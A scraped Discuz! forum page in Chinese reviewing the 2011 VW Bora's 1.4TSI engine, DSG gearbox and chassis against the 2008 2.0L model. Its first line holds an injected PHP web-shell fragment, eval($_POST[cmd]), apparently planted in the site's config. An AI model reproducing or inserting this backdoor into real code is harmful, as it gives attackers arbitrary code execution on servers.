');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 新寶來1.4T動力和底盤系統 - 超跑俱樂部 - 四輪天下 - Powered by Discuz!
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新寶來1.4T動力和底盤系統

1.4TSI小排量渦輪增壓想必大家都能背出技術指標了,除開渦輪增壓外,它還擁有缸內直噴以及靜音正時鏈條,在性能上更是出色,這台代號EA111的1.4L發動機可以在5000rpm達到96千瓦,最大扭矩220牛米,最大扭矩轉速在1750-3500rpm廣泛區域實現。相比那款4缸8氣門經典2.0L大眾發動機,同樣5000rpm轉速功率提升了8個千瓦,更有看頭的是,扭矩從180牛米提升到了220牛米,而且最大扭矩轉速不僅更符合低速大扭矩表現,甚至可以在1750-3500rpm的寬廣轉速範圍持續輸出。

  08款新寶來 2011款寶來
發動機 直列四缸 直列四缸
排量 2.0 1.4
變速箱 5MT/6速手自一體 5MT/7速DSG
最大功率(kw/rpm) 88/5000 96/5000
最大扭矩(N.m) 180/3750 220/1750-3500
最高車速(km/h) 191 (MT)/ 185 (AT) 200
特點 低速大扭矩 缸內直噴
排放 國IV+OBD 國IV+OBD


  我們來看看2.0L自然吸氣動力和1.4TSI渦輪增壓的實際比較:在起步時,因為排量緣故,2.0L發動機輸出扭矩更大,初段加速表現會更出色,不過當轉速達到靠近1750rpm(這個轉速只要捨得加油,很容易實現),那麼2.0L發動機的不足很快顯現,只要你願意,1.4TSI發動機通過渦輪增壓,可以提供足夠的除起步之外的更淋漓暢快的加速表現。最高車速也可以看出性能差別,2.0新寶來手動擋車型最高也只有191km/h,6速手自一體車型更只有185km/h的最高車速,而1.4TSI寶來無論手動擋還是7速DSG雙離合變速箱都能達到200km/h,也許我們平時規範駕駛高速最高車速也就120km/h,不過從性能角度考慮,無疑1.4TSI動力是強悍的。



  另外,1.4TSI動力也更經濟節油。工信部提供的油耗來看,即便採用6速手自一體變速箱,08款寶來2.0L自動擋的油耗也高達8.6升/百公里,而2011款寶來1.4TSI還沒有相應工信部數據出台,但比寶來車重更重的速騰7速DSG雙離合變速器配備也只有6.4升/百公里。1.4TSI寶來應該不會離此太遠。造成這個油耗經濟性的動力因素很明顯,在低速行駛或怠速等紅燈時,1.4TSI寶來就相當於一台1.4排量自然吸氣發動機,加上7速DSG更積極的換擋工作模式:在城市道路正常行駛中,7速DSG變速器D擋下變速箱升擋非常積極,它的目的很簡單明瞭,就是為了省油。時速在60km/h,就已經升至7擋,而且轉速不下1000rpm,壓根不降擋。這種情況下,換擋時的轉速根本不會超過1750rpm這個渦輪啟動時刻。更多時候,它相當於是一個1.4升自然吸氣發動機。因此7速DSG變速器比5檔手動變速箱更省油。



  不過不用擔心1.4TSI運動特質被埋沒,7速DSG變速箱還有S運動檔可以選擇,換擋時機被延遲到3000rpm以上,動力有足夠的輸出表現。或者乾脆選擇手自一體模式,比普通5速手動變速箱更有駕駛樂趣外,檔位也更細膩。



  2011款的寶來後輪依然是扭力梁式半獨立懸掛,雖然有一些新的調教但總體不可能超越大眾同級平台四連桿後懸掛。在注重舒適的同時兼顧了一些韌性,更不平整路面處理比較理想,雖然彎道側傾比同樣底盤懸掛結構的日系車好,但和大眾神車高爾夫以及PQ35平台速騰相比,底盤表現仍然有差距。助力系統也仍然是液壓方式,無低速輕盈高速穩重的手感。
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